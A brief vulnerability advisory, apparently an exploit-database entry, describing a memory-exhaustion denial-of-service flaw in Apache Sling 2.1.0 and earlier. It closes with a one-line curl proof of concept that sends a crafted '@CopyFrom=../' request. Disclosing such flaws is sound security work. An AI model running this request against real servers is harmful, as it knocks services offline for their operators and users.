source: https://www.securityfocus.com/bid/54341/info

Apache Sling is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, resulting in a denial-of-service condition.

Apache Sling 2.1.0 and prior are vulnerable. 

 curl -u admin:pwd -d "" "http://example.com/content/foo/?./%40CopyFrom=../"